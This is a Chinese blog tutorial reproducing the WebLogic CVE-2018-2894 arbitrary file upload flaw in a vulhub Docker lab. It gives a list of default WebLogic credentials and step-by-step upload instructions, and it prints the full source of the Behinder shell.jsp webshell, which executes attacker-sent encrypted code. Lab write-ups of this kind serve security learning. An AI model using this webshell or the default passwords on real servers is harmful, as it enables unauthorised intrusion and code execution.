Weblogic任意文件上传漏洞(CVE-2018-2894)漏洞复现(基于vulhub)

news/2024/5/3 5:52:16/文章来源:https://blog.csdn.net/SENMINGya/article/details/137607637
🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1前言

0x2 漏洞原理及介绍

1、weblogic简介

2、weblogic漏洞库存

3、weblogic扫描工具

0x漏洞复现

1、常见弱口令

2、任意文件上传漏洞(CVE-2018-2894)


0x1前言

这个任意文件上传CVE-2018-2894漏洞,Oracle公司在7月份修复,需要我们自己手动配置才可以进行漏洞测试,所以这就需要我们拿到weblogic网站的登录账号密码,这里很多网站其实在实际中,都是默认密码的存在,所以可以通过一些工具进行测试下。这个漏洞利用vulhub复现下来,没什么难度,新手也是完全ok的,平常一些护网面试啥的经常会问Java相关的漏洞问题,就比如weblogic漏洞。

0x2 漏洞原理及介绍

1、weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

2、weblogic漏洞库存

Weblogic 反序列化漏洞 CVE-2021-2394
Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109
Weblogic RCE CVE-2020-14882&14883
weblogic jndi注入CVE-2020-14841
Weblogic coherence组件iiop反序列化漏洞 (CVE-2020-14644)
WebLogic UniversalExtractor反序列化漏洞 CVE-2020-14645
WebLogic CVE-2020-14756 T3IIOP反序列化RCE
Weblogic 远程代码执行漏洞 CVE-2020-2883
Weblogic CVE-2020-2551 IIOP协议反序列化rce
Weblogic反序列化漏洞 CVE-2019-2890
Weblogic反序列化远程代码执行漏洞CVE-2019-2725
Weblogic反序列化漏洞 CVE-2019-2729
Weblogic任意文件读取漏洞(CVE-2019-2615))
Weblogic 文件上传漏洞(CVE-2019-2618)
weblogic 反序列化漏洞 CVE-2018-3252
Weblogic反序列化远程代码执行漏洞 CVE-2018-3245
Weblogic远程代码执行漏洞 CVE-2018-3191
Weblogic任意文件上传漏洞(CVE-2018-2894)
Weblogic WLS核心组件反序列化漏洞 CVE-2018-2893
Weblogic WLS Core Components 反序列化命令执行漏洞 CVE-2018-2628
WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
Weblogic 反序列化漏洞 CVE-2017-3506
Weblogic 反序列化漏洞 CVE-2017-3248
Weblogic SSRF漏洞 CVE-2014-4210

3、weblogic扫描工具

GitHub - 0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883 - 0xn0ne/weblogicScannericon-default.png?t=N7T8https://github.com/0xn0ne/weblogicScanner

weblogic 漏洞扫描工具。目前包含对以下漏洞的检测能力:
CVE-2014-4210、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2018-2893、CVE-2018-2894、CVE-2018-3191、CVE-2018-3245、CVE-2018-3252、CVE-2019-2618、CVE-2019-2725、CVE-2019-2729、CVE-2019-2890、CVE-2020-2551、CVE-2020-14750、CVE-2020-14882、CVE-2020-14883
pip3 install requests    //进入项目目录,使用以下命令安装依赖库python ws.py -t IP:7001  //扫描weblogic漏洞命令

0x漏洞复现

1、常见弱口令

system:password        weblogic:weblogic    admin:secruity
joe:password           mary:password        system:sercurity
wlcsystem:wlcsystem                         weblogic:Oracle@123

此网站可以搜索对应软件的默认密码:

https://cirt.net/passwords?criteria=weblogic

2、任意文件上传漏洞(CVE-2018-2894)

漏洞搭建环境:

ubantu:IP地址 10.10.10.130 (先要安装docker,然后下载vulhub) 启动vulhub里面的weblogic环境目录对应的漏洞

先进入/vulhub/weblogic/CVE-2018-2894目录下,然后利用docker启动靶场环境

显示了这个done字段,那么就说明靶机开启成功了

docker-compose up -d

docker ps -a  //查看靶机环境对应的端口号7001端口

默认访问IP+端口号是上面的这个界面,显示404是正常的。

扫描这个7001weblogic漏洞端口下有什么目录,发现存在/console/、/bea_wls_internal/目录

┌──(root💀kali)-[~]
└─# dirsearch -u http://10.10.10.130:7001

访问/console/目录,需要我们拿账号密码进行登录,这里不要尝试爆破,爆破超过5次就会进行很长一段时间的冷却期。

我们直接在ubantu的vulhub漏洞目录下找,需要在/vulhub/weblogic/CVE-2018-2894目录下,找到密码登录成功:

账号:密码 --》 weblogic:xJ6J02Ow

这里我们需要访问一个任意上传jsp文件漏洞功能点的目录位置,扫描目录的时候没有扫出来,但是你上网搜素这个CVE-2018-2894都是可以找到这个目录名字的,/ws_utc/config.do(未授权访问)

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,所以我们想要利用这个任意jsp文件上传漏洞,需要手动在刚才的登录进去的页面里面把一个web服务开启,然后才可以利用。

第一步,点击这个

第二步,再点击这个高级

第三步,把这个web服务勾上,然后再点击save保存

第四步,把圈起来的内容改为:

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

第五步,上传jsp木马文件,我这里是上传冰蝎默认自带的shell.jsp木马文件,代码如下:

//默认连接密码rebeyond

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

第六步:利用bp抓包,然后找到这个上传文件的时间戳,如果有好多个,那么就取最后一个时间戳,然后这个jsp木马上传的位置目录如下,

http://10.10.10.130:7001/ws_utc/css/config/keystore/1712739474159_shell.jsp

第七步,直接拿冰蝎连

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_1046078.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux网络编程】网络编程套接字(TCP服务器)

【Linux网络编程】网络编程套接字(TCP服务器) 目录 【Linux网络编程】网络编程套接字(TCP服务器)地址转换函数关于inet_ntoa 简单的TCP网络程序TCP sockot API详解socket()bind()listen()accept();connect 完整的TCP服务器代码&#xff08;线程池版&#xff09; 作者&#xff1…

【算法】双指针算法

个人主页 &#xff1a; zxctscl 如有转载请先通知 题目 1. 283. 移动零1.1 分析1.2 代码 2. 1089. 复写零2.1 分析2.2 代码 3. 202. 快乐数3.1 分析3.2 代码 4. 11. 盛最多水的容器4.1 分析4.2 代码 5. LCR 179. 查找总价格为目标值的两个商品5.1 分析5.2 代码 6. 15. 三数之和…

antd vue table控件的使用(三)

今天就讲讲Ant Design Vue下的控件----table表格&#xff08;分页、编辑和删除功能&#xff09; 结合项目中的需求&#xff0c;看看如何配置,让table即可以展示列表&#xff0c;又可以直接编辑数据。需求&#xff1a; &#xff08;1&#xff09;展示即将检查的数据列表&#…

持续交付工具Argo CD的部署使用

Background CI/CD&#xff08;Continuous Integration/Continuous Deployment&#xff09;是一种软件开发流程&#xff0c;旨在通过自动化和持续集成的方式提高软件交付的效率和质量。它包括持续集成&#xff08;CI&#xff09;和持续部署&#xff08;CD&#xff09;两个主要阶…

Day5-Hive的结构和优化、数据文件存储格式

Hive 窗口函数 案例 需求&#xff1a;连续三天登陆的用户数据 步骤&#xff1a; -- 建表 create table logins (username string,log_date string ) row format delimited fields terminated by ; -- 加载数据 load data local inpath /opt/hive_data/login into table log…

怎么保证缓存与数据库的最终一致性?

目录 零.读数据的标准操作 一.Cache aside Patten--旁路模式 二.Read/Write Through Pattern--读写穿透 三.Write Back Pattern--写回 四.运用canal监听mysql的binlog实现缓存同步 零.读数据的标准操作 这里想说的是不管哪种模式读操作都是一样的&#xff0c;这是一种统一…

【开源社区】openEuler、openGauss、openHiTLS、MindSpore

【开源社区】openEuler、openGauss、openHiTLS、MindSpore 写在最前面开源社区参与和贡献的一般方式开源技术的需求和贡献方向 openEuler 社区&#xff1a;开源系统官方网站官方介绍贡献攻略开源技术需求 openGauss 社区&#xff1a;开源数据库官方网站官方介绍贡献攻略开源技术…

Unity之Unity面试题(五)

内容将会持续更新&#xff0c;有错误的地方欢迎指正&#xff0c;谢谢! Unity之Unity面试题&#xff08;五&#xff09; TechX 坚持将创新的科技带给世界&#xff01; 拥有更好的学习体验 —— 不断努力&#xff0c;不断进步&#xff0c;不断探索 TechX —— 心探索、心进取…

目标检测——RCNN系列学习(二)Faster RCNN

接着上一篇文章&#xff1a;目标检测——RCNN系列学习(一&#xff09;-CSDN博客 主要内容包含&#xff1a;Faster RCNN 废话不多说。 Faster RCNN [1506.01497] Faster R-CNN: Towards Real-Time Object Detection with Region Proposal Networks (arxiv.org)https://arxiv.…

跨域问题一文解决

&#x1f4dd;个人主页&#xff1a;五敷有你 &#x1f525;系列专栏&#xff1a;Vue ⛺️稳中求进&#xff0c;晒太阳 一、为什么会出现跨域的问题&#xff1f; 是浏览器的同源策略&#xff0c;跨域也是因为浏览器这个机制引起的&#xff0c;这个机制的存在还是在于安全…

Netty 入门应用之Http服务WebSocket

Netty实现Http服务 主要的变化是在初始化器中引入了新的编解码器 一些创建的类作用和Netty HelloWorld的小demo一样我这里就不再次重复了 1、Http服务端代码 public class HttpServer {public static void main(String[] args) {// 创建Reactor// 用来管理channel 监听事件 …

力扣HOT100 - 238. 除自身以外数组的乘积

解题思路&#xff1a; 当前位置的结果就是它左部分的乘积再乘以它右部分的乘积。因此需要进行两次遍历&#xff0c;第一次遍历用于求左部分的乘积&#xff0c;第二次遍历在求右部分的乘积的同时&#xff0c;再将最后的计算结果一起求出来。 class Solution {public int[] prod…

Vue3学习01 Vue3核心语法

Vue3学习 1. Vue3新的特性 2. 创建Vue3工程2.1 基于 vue-cli 创建项目文件说明 2.2 基于 vite 创建具体操作项目文件说明 2.3 简单案例(vite) 3. Vue3核心语法3.1 OptionsAPI 与 CompositionAPIOptions API 弊端Composition API 优势 ⭐3.2 setup小案例setup返回值setup 与 Opt…

【vue/uniapp】使用 smooth-signature 实现 h5 的横屏电子签名

通过github链接进行下载&#xff0c;然后代码参考如下&#xff0c;功能包含了清空、判断签名内容是否为空、生成png/jpg图片等。 签名效果&#xff1a; 预览效果&#xff1a; 下载 smooth-signature 链接&#xff1a;https://github.com/linjc/smooth-signature 代码参考&a…

nexus搭建maven与docker镜像的私有仓库

引言 通过nexus搭建maven与docker镜像的私有仓库,实现jar包与镜像动态更新、共享、存储。 一、nexus部署 通过docker-compose部署nexus name: java services:#############################环境#############################env-nexus:restart: always## 3.58.1image: so…

ANSYS 2024 R1 HFSS部分更新介绍(附下载)

1. 优化Layout component工作流 • 支持多区域 - 支持参数化弯曲定义的刚柔结合的PCB • Phi 网格可用 • 支持Mesh Fusion •简化创建复杂装配体的过程 2. 提升求解器速度 • 分布式矩阵汇编的内存使用率改进 ‐减少分布式矩阵求解器的RAM消耗 • 分布式稀疏直接求解器&am…

物联网实战--驱动篇之(六)4G通讯(Air780E)

目录 一、4G模块简介 二、AIR780E驱动程序 三、AIR780使用注意事项 四、结合MQTT传输测试 一、4G模块简介 4G应该是我们日常生活最常见的一种互联网通讯方式了&#xff0c;每个智能手机都配置了&#xff0c;不过手机的4G跟我们物联网领域要用的4G有点区别。首先是物联网采用…

芯来科技、IAR和MachineWare携手加速符合ASIL标准RISC-V汽车芯片创新

支持软件开发团队在虚拟硬件平台上进行固件和MCAL开发 芯来科技&#xff08;Nuclei&#xff09;、IAR和MachineWare紧密合作&#xff0c;加速RISC-V ASIL合规汽车解决方案的创新。此次合作简化了汽车电子的固件和MCAL开发&#xff0c;提供了虚拟和物理硬件平台之间的无缝集成。…

Harmony鸿蒙南向驱动开发-SDIO

SDIO&#xff08;Secure Digital Input and Output&#xff09;由SD卡发展而来&#xff0c;与SD卡统称为MMC&#xff08;MultiMediaCard&#xff09;&#xff0c;二者使用相同的通信协议。SDIO接口兼容以前的SD卡&#xff0c;并且可以连接支持SDIO接口的其他设备。 运作机制 …

SpringBoot --pagehelper分页

目录 1.建立数据库 2.页面显示 3.基本逻辑 4.配置依赖 5.使用pagehelper 6.页面列表 页面 效果 1.建立数据库 create database if not exists my_book; use my_book; create table if not exists myBook (id int primary key auto_increment,name varchar(50) not …